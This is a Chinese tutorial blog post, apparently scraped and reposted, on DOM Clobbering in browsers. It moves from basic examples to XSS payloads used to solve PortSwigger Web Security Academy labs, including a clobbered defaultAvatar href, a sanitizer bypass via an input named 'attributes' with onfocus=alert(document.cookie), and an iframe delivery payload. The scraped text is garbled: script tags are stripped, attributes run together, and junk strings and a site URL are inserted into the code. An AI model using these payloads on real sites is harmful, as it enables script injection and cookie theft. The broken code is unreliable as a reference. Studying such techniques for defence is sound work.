破坏怎么写呢

日期：2023-03-17 18:07:56 栏目：实用技巧浏览：411次来源：原由网合天网安实验室侧边栏

0 1

前言

最近看到好多师傅都已经学习过了DOM Clobbering Attack，因此自己也来学习一波。

0 2

0x01 简介

DOM最初诞生的时候没有一个很好的标准，以至于各个浏览器在实现的过程中会支持DOM的一些怪异行为，而这些行为可能会导致DOM Clobbering的发生浏览器可能会将各种DOM元素的name和id属性添加为document的属性或页面的全局变量，这会导致覆盖掉document原有的属性或全局变量，或者劫持一些变量的内容。

测试环境 Chrome 80.0.3987.132

0 3

0x02 简单的例子

1.对象创建

测试代码如下：

<!DOCTYPE html> < htmllang= "en"> < head> < metacharset= "UTF-8"> < title> DOM Clobbering Attack </ title> </ head> < body> < formid= test1> </ form> < formname= test2> </ form> < > console.log(test1); console.log(test2); console.log( window.test1); console.log( window.test2); console.log( document.test1); console.log( document.test2); </ > </ body> </ html>

打印的结果如下：

破坏怎么写呢

通过上面的结果，可以看出来HTML标签中的id属性值被当做全局变量，name属性值被当成document的属性，这也就是为什么上面有一行输出undefined的原因。

2.方法的覆盖

测试代码如下：

<!DOCTYPE html> < htmllang= "en"> < head> < metacharset= "UTF-8"> < title> DOM Clobbering Attack </ title> </ head> < body> < formname= "getElementById"> </ form> < formid= "form"> </ form> < > console.log( document.getElementById); console.log( document.getElementById( "form")) </ > </ body> </ html>

结果如下：

破坏怎么写呢

通过上面的输出结果显示我们可以通过name属性覆盖document中的内置方法。

3.通过标签的层级关系构造变量的层级关系

测试代码如下：

<!DOCTYPE html> < htmllang= "en"> < head> < metacharset= "UTF-8"> < title> DOM Clobbering Attack </ title> </ head> < body> < formid= "test1"> < inputid= "test2"> < imgid= "test3"> </ form> < formid= "test4"name= "test5"> </ form> < formname= "body"> < inputname= "firstChild"> </ form> < > console.log(test1); console.log(test1.test2); console.log(test1.test3); console.log(test4[ 'name']); console.log(test5[ 'id']); console.log( document.body); console.log( document.body.firstChild); </ > </ body> </ html>

结果如下：

破坏怎么写呢

通过上面的结果我们看到，可以通过多层覆盖的方式，覆盖Window和document下的对象。

0 4

0x03 java Scope

由于DOM Clobbering Attack的攻击中有很多的地方用到了java的作用域链，因此我们可以来了解一下：

1.全局作用域：

在java中全局作用域一般是window(nodejs是global)。

2.显示声明：

<!DOCTYPE html> < htmllang= "en"> < head> < metacharset= "UTF-8"> < title> DOM Clobbering Attack </ title> </ head> < body> < > vartestValue= 123; vartestFunc= function( ) { console.log( "DOM"); }; console.log( window.testValue); // 123 console.log( window.testFunc); // function{console.log("DOM")} </ > </ body> </ html>

3.隐式声明：

不带有声明关键字的变量，js会默认帮你声明一个全局变量：

<!DOCTYPE html> < htmllang= "en"> < head> < metacharset= "UTF-8"> < title> DOM Clobbering Attack </ title> </ head> < body> < > functionfoo( value) { result=value+ 1; returnresult; } foo( 1); console.log( window.result); // 2 </ > </ body> </ html>

变量result被挂载到了window对象上了。

4.块级作用域：

在 ES6 之前，是没有块级作用域的概念的。如果你有 C++ 或者 Java 经验，想必你对块级作用域并不陌生：

for( vari= 0;i< 5;i++){} console.log(i); // 5

从上面的结果来看，说明var声明的变量，在for循环之后仍然保存在这个作用域里，而for{}仍然在全局作用域里，因此var声明的变量在全局作用域里。

我们可以通过let(或const用来声明常量)来声明变量，实现块级作用域。

除了上面的几种作用域外还有语法作用域，动态作用域等，就不赘述了感兴趣的参考下面的链接。

0 5

0x04 攻击方法

1.为了分析DOM Clobbering漏洞，假设如下代码：

if( window.test1.test2) { eval( ''+ window.test1.test2) }

如果我们想利用Dom Clobbering技巧来执行任意的js，需要 解决两个问题：

1)利用html标签的属性id，很容易在window对象上创建任意的属性，但是我们能在新对象上创建新属性吗？

2)怎么控制DOM elements被强制转为string之后的值，大多数的dom节点被转为string后是[object HTMLInputElement]。

我们可以用前面的例子来解决第一个问题：

<!DOCTYPE html> < htmllang= "en"> < head> < metacharset= "UTF-8"> < title> DOM Clobbering Attack </ title> </ head> < body> < formid= "test1"> < inputname= "test2"> </ form> < > console.log(test1.test2.toString); // [object HTMLInputElement] </ > </ body> </ html>

我们可以用下面的一段代码来枚举，html存在的所有标签，然后检查其dom节点对象有没有实现toString方法，或者是继承于Object.ptototype。如果是继承自Object.prototype,那么很有可能只会返回[object SomeElement]

Object.getOwnPropertyNames( window) .filter( p=> p.match( /Element$/)) .map( p=> window[p]) .filter( p=> p && p.prototype && p.prototype.toString !== Object.prototype.toString)

我们可以得到两个对象:

HTMLAreaElement(<area>)和 HTMLAnchorElement (<a>)，这两个标签的toString会直接返回他的href属性。

<!DOCTYP//www.58yuanyou.comE html> < htmllang= "en"> < head> < metacharset= "UTF-8"> < title> DOM Clobbering Attack </ title> </ head> < body> < aid= test1href= https://www.baidu.com> < > console.log(test1.toString); // https://www.baidu.com </ > </ body> </ html>

结合上面的两个问题，我们会构造如下payload:

< formid= test1> < aname= test2href= "x:alert(1)"> </ a> </ form>

但是test1.test2是undefined，这是因为<input>元素会变成<form>的属性，但<VUKDqmza;a>标签并不会。

< formid= test1> < aname= test2href= "x:alert(1)"> </ a> </ form> < body> < > console.log(test1.test2); // undefined </ >

我们可以通过构造一个HTMLCollection来解决问题，例如：

< aid= "test1"> click1! </ a> < aid= "test1"> click2! </ a> < body> < > console.log(test1) </ >

返回的集合如下所示：

HTMLCollection(2) [a #test1, a#test1, test1: a#test1] length: 2 0: a#test1 1: a#test1 test1: a#test1 __proto__: HTMLCollection

HTMLCollection可以通过index访问，同时可以使用id访问，并且可以使用name访问，例如：

< aid= "test1"> click1! </ a> < aid= "test1"name= "test2"> click2! </ a> < body> < > console.log(test1.test2); //<a id="test1" name="test2">click2!</a> </ >

因此上面的问题得到解决，通过构造如下payload:

`<a id="test1"></a><原由网a id="test1" name="test2" href="jaca:alert(1)"></a> `

< aid= "test1"> </ a> < aid= "test1"name= "test2"href= "java:alert(1)"> </ a> < > if( window.test1.test2) { eval( ''+ window.test1.test2) } </ >

成功执行。

2.确定DOM元素间的关系

我们把两个HTML元素相邻放置，分别为其分配一个ID，然后检查第一个元素是否具有第二个元素的属性。代码如下：

constlog = []; consthtml = [ "a", "abbr", "acronym", "address", "applet", "area", "article", "aside", "audio", "b", "base", "basefont", "bdi", "bdo", "bgsound", "big", "blink", "blockquote", "body", "br", "button", "canvas", "caption", "center", "cite", "code", "col", "colgroup", "command", "content", "data", "datalist", "dd", "del", "details", "dfn", "dialog", "dir", "div", "dl", "dt", "element", "em", "embed", "fieldset", "figcaption", "figure", "font", "footer", "form", "frame", "frameset", "h1", "head", "header", "hgroup", "hr", "html", "i", "iframe", "image", "img", "input", "ins", "isindex", "kbd", "keygen", "label", "legend", "li", "link", "listing", "main", "map", "mark", "marquee", "menu", "menuitem", "meta", "meter", "multicol", "nav", "nextid", "nobr", "noembed", "noframes", "no", "object", "ol", "optgroup", "option", "output", "p", "param", "picture", "plaintext", "pre", "progress", "q", "rb", "rp", "rt", "rtc", "ruby", "s", "samp", "", "section", "select", "shadow", "slot", "small", "source", "spacer", "span", "strike", "strong", "style", "sub", "summary", "sup", "svg", "table", "tbody", "td", "template", "textarea", "tfoot", "th", "thead", "time", "title", "tr", "track", "tt", "u", "ul", "var", "video", "wbr", "xmp"]; div= document.( 'div'); for( leti= 0; i<html.length; i++) { for( letj= 0; j<html.length; j++) { div.innerHTML= '<'+html[i]+ ' id=element1>'+ '<'+html[j]+ ' id=element2>'; document.body.(div); if( window.element1 && element1.element2){ log.push(html[i]+ ','+html[j]); } document.body.removeChild(div); } } console.log(log.join( 'n'));

上面是我们用html标签的id属性来寻找DOM之间的关系的过程，结果如下：

form,button form,fieldset form,image form,img form,input form, object form,output form, select form,textarea

如果我们要覆盖一个对象的x.y.value值，可以用下面的这种方式：

< formid= x> < outputid= y> I've been clobbered </ output> </ form> < > console.log(x.y.value); </ >

3.使用form标签来伪造三层的对象引用

< formid= xname= y> < inputid= z> </ form> < formid= x> </ form> < > alert(x.y.z) </ >

在Chrome中，当form标签有两个一样的id的input标签时，Chrome会将其处理为[object RadioNodeList]，这个可以用forEach来遍历：

< formid= x> < inputid= yname= z> < inputid= y> </ form> < > x.y.forEach( element=> alert(element)); </ >

4.是否自定义的DOM节点也具有上面的属性呢？

< formid= xy= "123"> </ form> < > alert(x.y); // undefined </ >

我们可以通过下面的代码来测试一下dom中有哪些属性可以用：

varhtml = [ "a", "abbr", "acronym", "address", "applet", "area", "article", "aside", "audio", "b", "base", "basefont", "bdi", "bdo", "bgsound", "big", "blink", "blockquote", "body", "br", "button", "canvas", "caption", "center", "cite", "code", "col", "colgroup", "command", "content", "data", "datalist", "dd", "del", "details", "dfn", "dialog", "dir", "div", "dl", "dt", "element", "em", "embed", "fieldset", "figcaption", "figure", "font", "footer", "form", "frame", "frameset", "h1", "head", "header", "hgroup", "hr", "html", "i", "iframe", "image", "img", "input", "ins", "isindex", "kbd", "keygen", "label", "legend", "li", "link", "listing", "main", "map", "mark", "marquee", "menu", "menuitem", "meta", "meter", "multicol", "nav", "nextid", "nobr", "noembed", "noframes", "no", "object", "ol", "optgroup", "option", "output", "p", "param", "picture", "plaintext", "pre", "progress", "q", "rb", "rp", "rt", "rtc", "ruby", "s", "samp", "", "section", "select", "shadow", "slot", "small", "source", "spacer", "span", "strike", "strong", "style", "sub", "summary", "sup", "svg", "table", "tbody", "td", "template", "textarea", "tfoot", "th", "thead", "time", "title", "tr", "track", "tt", "u", "ul", "var", "video", "wbr", "xmp"]; //HTML elements array varprops=[]; for(i= 0;i<html.length;i++){ obj = document.(html[i]); for(prop inobj) { if( typeofobj[prop] === 'string') { try{ props.push(html[i]+ ':'+prop); } catch(e){} } } } console.log([...new Set(props)].join( 'n'));

上面的代码显示的是string类型的属性，他们并不一定可控，为了检查他们是否可读写，我们可以用下面的代码：

varhtml = [...] //HTML elements array varprops=[]; for(i= 0;i<html.length;i++){ obj = document.(html[i]); for(prop inobj) { if( typeofobj[prop] === 'string') { try{ DOM.innerHTML = '<'+html[i]+ ' id=x '+prop+ '=1>'; if( document.getElementById( 'x')[prop] == 1) { props.push(html[i]+ ':'+prop); } } catch(e){} } } } console.log([...new Set(props)].join( 'n'));

通过上面的输出结果可以有：

< aid= "x"target= "ddd"> </ a> < aid= "y"download= "eee"> </ a> ... < > console.log(x.target); // ddd console.log(y.download); // eee </ >

对于上面的DOM属性中，我们需要关注的是username和password属性，他们是a标签的节点属性并不是html中定义的属性，这两个属性可以通过url的中的username字段和password字段提供，但是需要有@符号：

< aid= xhref= "ftp:Clobbered-username:Clobbered-Password@a"> </ a> < > console.log(x.username); //Clobbered-username console.log(x.password); //Clobbered-password </ >

上面不仅可以用ftp协议，也可以用http协议(必须加//)，需要注意的是，如果我们直接通过toString函数将dom转换为字符串他的href是经过url编码的，不过我们可以通过一个不存在的协议绕过abc:<>：

< aid= xhref= "abc:<>"> </ a> < > alert(x); //abc:<> </ >

5.获取3级以上的对象引用

https://twitter.com/terjanq提到，可以结合iframe的srcdoc属性构造任意层数的对象引用。

例子如下：

< iframename= asrcdoc= " <iframe srcdoc='<a id=c name=d href=cid:Clobbered>test</a><a id=c>' name=b>"> </ iframe> < > setTimeout( => alert(a.b.c.d), 500) </ >

上面用到了setTimeout设置一个定时器是为了保证iframe框架的加载完成。我们可以利用style/link来加载外部样式表来造成延迟：

VUKDqmza < iframename= asrcdoc= " <iframe srcdoc='<a id=c name=d href=cid:Clobbered>test</a><a id=c>' name=b>"> </ iframe> < style> @ import'//portswigger.net'; </ style> < > alert(a.b.c.d) </ >

0 6

0x05 攻击实例

1. clobbering to enable XSS lab

实验之前先看一个简单的例子：

< aid= someObject> < aid= someObjectname= urlhref= "./xss.js">  < > window. = function( ) { letsomeObject = window.someObject || {}; let = document.( ''); .src = someObject.url; document.body.(); }; </ >

这个实验就有点类似下面这个例子：

通过查看源代码我们可以看到这个文件：loadCommentsWithDomClobbering.js，我们可以看到下面的获取图片src的代码：

letdefaultAvatar = window.defaultAvatar || { avatar: '/resources/images/avatarDefault.svg'} letavatarImgHTML = '<img src="'+ (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">'; letdivImgContainer = document.( "div"); divImgContainer.innerHTML = avatarImgHTML

avatar的默认值是/resources/images/avatarDefault.svg，我们可以通过覆盖window.defaultAvatar来实现xss，构造的payload如下VUKDqmza：

< aid= defaultAvatar> < aid= defaultAvatarname= avatarhref= "cid:"=alert(1)//">

插入的标签如下：

< p> < aid= "defaultAvatar"> </ a> < ahref= "cid:"=alert(1)//"name= "avatar"id= "defaultAvatar"> </ a> </ p>

为什么我们要把闭合前面的"编码为"，因为cid是没有这个协议的，因此不会对"进行url编码。这样在解码时"就变成了控制字符"改变页面结构。

然后再评论一次，刷新全局变量，加载loadCommentsWithDomClobbering.js即可导致xss。

破坏怎么写呢

2.Clobbering attributes lab

实验之前我们先来看一个例子：

<!DOCTYPE html> < htmllang= "en"> < head> < metacharset= "UTF-8"> < title> DOM Clobbering Attack </ title> </ head> < body> < html> < body>  < formaction= ""id= "form1"> < inputtype= "text"name= "payload"style= "width: 500px;height:60px;"> < br> < inputtype= "button"onclick= formSubmitvalue= "submit"> </ form> </ body> </ html> < > // 遍历DOM树，不需要关注这个函数 functionDomBFS( element, callback) { varqueue = []; while(element) { callback(element); if(element.children.length !== 0) { for( vari = 0; i < element.children.length; i++) { queue.push(element.children[i]); } } element = queue.shift; } }

// 过滤用户提交的HTML代码，如果包含onclick, ，删掉该属性(attribute)letblockAttributes = [ "onclick", ""]; functionformSubmit( ) { letf = document.getElementById( "form1"); letsandbox = document.implementation.createHTMLDocument( ''); letroot = sandbox.( "div"); root.innerHTML = f.payload.value;

DomBFS(root, function( element) { // 遍历属性名for( vara = 0; a < element.attributes.length; a+= 1) { letattr = element.attributes[a]; if(blockAttributes.indexOf(attr.name) != -1) { element.removeAttribute(attr.name);a -= 1; }}});document.body.(root); }</ > </ body> </ html>

payload如下：

< formonclick= alert(1)> < inputid= attributes> Click me

由于attributes被覆盖导致执行到payload的form时跳过for循环跳过黑名单，成功执行xss。

跟上面一样我们先看看loadCommentsWithHtmlJanitor.js的代码。

// Sanitize attributesfor( vara = 0; a < node.attributes.length; a += 1) { varattr = node.attributes[a];

if(shouldRejectAttr(attr, allowedAttrs, node)) { node.removeAttribute(attr.name);// Shift the array to continue looping.a = a - 1; }}

结合上面的例子我们可以通过构造<form id=x><input id=attributes>的形式来绕过。

根据题目的要求，需要访问触发，并且通过参考资料得知利用tabindex属性和form的onfocus来执行xss。

因此构造如下：

< formid= xtabindex= 0onfocus= alert(document.cookie)> < inputid= attributes>

破坏怎么写呢

但是我们要解决这个lab需要提交到该漏洞利用的漏洞服务器，而且用户直接点击是不会触发xss的，因此我们要构造一个在评论后主动访问并且加上#x，为了等待评论完成我们需要延迟一下，因此构造下面的payload:

< iframesrc= https://ac5d1feb1e0464fb80aec03700a10012.web-security-academy.net/post?postId= 2= "setTimeout(a=>this.src=this.src+'#x',500)"> </ iframe>

直接提交完成lab。

破坏怎么写呢